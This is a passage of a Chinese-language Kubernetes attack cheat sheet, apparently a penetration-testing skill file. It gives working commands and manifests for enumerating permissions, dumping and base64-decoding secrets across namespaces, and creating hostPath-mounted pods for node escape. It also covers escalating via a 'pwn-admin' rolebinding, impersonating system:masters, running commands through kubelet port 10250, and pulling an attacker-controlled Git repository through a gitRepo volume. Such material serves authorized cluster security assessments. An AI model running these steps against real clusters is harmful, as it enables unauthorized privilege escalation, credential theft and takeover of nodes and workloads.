1. 在有 kubeconfig 的机器上执行目标命令并加 -v9。 2. 从输出中提取 URL、HTTP 方法、请求体和必要 header。 3. 将 URL host 替换为 $KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT。 4. 将 Authorization: Bearer 替换为 Pod 内 SA Token。 5. 如果有 body,补 Content-Type: application/json。
示例:用 SelfSubjectRulesReview 获取当前 namespace 权限:
curl -sS --cacert "$CA_CERT" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-X POST "$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
--data '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"'"$NAMESPACE"'"}}'如果 CA 校验失败但确认是实验/授权环境,可临时使用 -k 排障;正式记录中应优先保留 CA 校验。
---
3. 权限自检优先级
先用 kubectl auth can-i --list 或 SelfSubjectRulesReview 看全量权限,再针对高危动作逐项确认。
kubectl auth can-i --list
kubectl auth can-i list secrets -n kube-system
kubectl auth can-i create pods -n kube-system
kubectl auth can-i create rolebindings -n default
kubectl auth can-i impersonate users
kubectl auth can-i get nodes/proxy高危权限对应路径:
| 权限 | 价值 | 后续动作 |
|---|---|---|
list/get secrets | 读取凭据和 SA Token | 枚举所有 namespace 的 Secret |
create pods | 创建特权 Pod 或挂载高权限 SA | 节点逃逸 / Token 窃取 |
pods/exec | 进入已有 Pod | 优先找 kube-system 或高权限工作负载 |
create/patch rolebindings | 绑定更高权限 | 自我提权到 admin/cluster-admin |
impersonate | 模拟高权限用户/组 | 尝试 system:masters 或高权限 SA |
get nodes/proxy | 代理到 kubelet | 可能绕过 pods/exec 正常审计路径 |
patch daemonsets/deployments | 注入控制器 | 扩散到多节点或高权限 Pod |
---
4. Secrets 与 ConfigMaps
Secrets/ConfigMaps 可能以环境变量或只读 tmpfs volume 形式出现在容器内。从容器内部无法仅凭环境变量判断来源,所以需要人工看变量名和值。
# 容器内查挂载
mount | grep -F 'tmpfs' | grep -F 'ro'
find /var/run/secrets -type f 2>/dev/null
find / -maxdepth 4 -type f \( -name '*token*' -o -name '*secret*' -o -name '*.crt' \) 2>/dev/null如果 RBAC 允许列 Secret:
kubectl get secrets --all-namespaces
kubectl get secret SECRET_NAME -n NAMESPACE -o json | jq -r '.data | to_entries[] | "\(.key)=\(.value|@base64d)"'API 方式:
curl -sk -H "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/namespaces/kube-system/secrets/"---
5. Pod 创建与 badPods 模板
拥有 create pods 权限时,可以创建带危险 securityContext、hostPath、hostPID 或 hostNetwork 的 Pod。使用 BishopFox badPods 这类模板时,先按目标权限和 Pod Security 限制选择最小模板,避免直接套 everything-allowed。
| 模板类型 | 需要能力 | 用途 |
|---|---|---|
| privileged | 创建 privileged Pod 未被策略拦截 | 直接挂载宿主机或 nsenter |
| hostPath | 允许 hostPath | 读取/写入宿主机路径 |
| hostPID | 允许 hostPID | 进入宿主机进程 namespace |
| hostNetwork | 允许 hostNetwork | 访问节点网络、Metadata 或本地服务 |
| nothing-allowed | 权限受限环境 | 验证最小 Pod 创建能力 |
示例:创建 hostPath Pod 挂载宿主机根目录:
apiVersion: v1
kind: Pod
metadata:
name: hostpath-check
namespace: default
spec:
containers:
- name: alpine
image: alpine
command: ["sleep", "86400"]
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /---
6. pods/exec 与高权限 Pod
拥有 pods/exec 不等于能创建新 Pod,但可以进入已有 Pod。优先级:
1. kube-system、monitoring、logging、ingress 命名空间。 2. 挂载云凭据、Registry 凭据或 admin kubeconfig 的 Pod。 3. 使用高权限 ServiceAccount 的控制器 Pod。
kubectl get pods --all-namespaces -o wide
kubectl exec -it POD_NAME -n NAMESPACE -- sh
cat /var/run/secrets/kubernetes.io/serviceaccount/token---
7. RoleBinding / ClusterRoleBinding 提权
如果能创建或 patch RoleBinding/ClusterRoleBinding,可以把当前 SA 绑定到更高权限角色。
kubectl create rolebinding pwn-admin \
--clusterrole=admin \
--serviceaccount="$NAMESPACE:default" \
-n "$NAMESPACE"如果只有 namespace 级 RoleBinding 权限,通常只能拿到该 namespace 的 admin;如果能创建 ClusterRoleBinding,才可能直接获取 cluster-admin。
---
8. Impersonate 权限
impersonate 允许用当前 Token 假扮用户、组或 ServiceAccount。不要只测 system:masters,还要测真实高权限 SA。
kubectl get secrets --as=null --as-group=system:masters
kubectl get pods --as=system:serviceaccount:kube-system:defaultREST API:
curl -sk -H "Authorization: Bearer $TOKEN" \
-H "Impersonate-User: null" \
-H "Impersonate-Group: system:masters" \
"$APISERVER/api/v1/namespaces/kube-system/secrets/"---
9. Kubelet 10250 / 10255
10255 只读端口主要用于信息泄露;10250 如果匿名或 Token 权限配置错误,可执行命令。
# 只读信息
curl -s http://NODE_IP:10255/pods
# 10250 列 Pod
curl -sk https://NODE_IP:10250/pods
# 旧式 run 端点
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD/CONTAINER -d 'cmd=id'
# exec 端点参数形式
curl -Gsk "https://NODE_IP:10250/exec/NAMESPACE/POD/CONTAINER" \
-d 'input=1' -d 'output=1' -d 'tty=1' -d 'command=id'如果 API Server 审计严密但节点 10250 可达,nodes/proxy 权限还可能允许绕过常规 pods/exec 路径,详见 cluster-attacks.md 中 nodes/proxy WebSocket 小节。
---
10. gitRepo Volume 代码执行
gitRepo volume 会在 Pod 启动时从指定 Git 仓库拉取内容。该类型已不推荐使用,但老集群或特定环境仍可能启用。利用前提:
- 集群允许
gitRepovolume 类型。 - 当前身份可以创建 Pod。
- 目标节点能访问攻击者控制的 Git 仓库。
apiVersion: v1
kind: Pod
metadata:
name: gitrepo-check
spec:
containers:
- image: alpine:latest
command: ["sleep", "86400"]
name: test-container
volumeMounts:
- mountPath: /gitrepo
name: gitvolume
volumes:
- name: gitvolume
gitRepo:
directory: g/.git
repository: https://github.com/raesene/repopodexploit.git
revision: main如果 Pod 创建失败,查看 Admission/PodSecurity 错误,判断是 volume 类型被禁用、策略拦截还是镜像拉取失败。
---
11. KubeHound 攻击路径分析
KubeHound 适合在大型集群中做攻击图分析,避免靠人工枚举遗漏路径。它更适合离线分析或授权评估,不适合在目标 Pod 内临时运行。
关注查询方向:
kh.containers().criticalPaths().count()
kh.endpoints(EndpointExposure.ClusterIP).criticalPaths().count()
kh.endpoints(EndpointExposure.NodeIP).criticalPaths().count()
kh.endpoints(EndpointExposure.External).criticalPaths().count()
kh.services().criticalPaths().count()当发现 External/NodeIP 暴露服务有 critical path 时,优先回到 k8s-network-recon 和对应服务技能验证可达性与影响。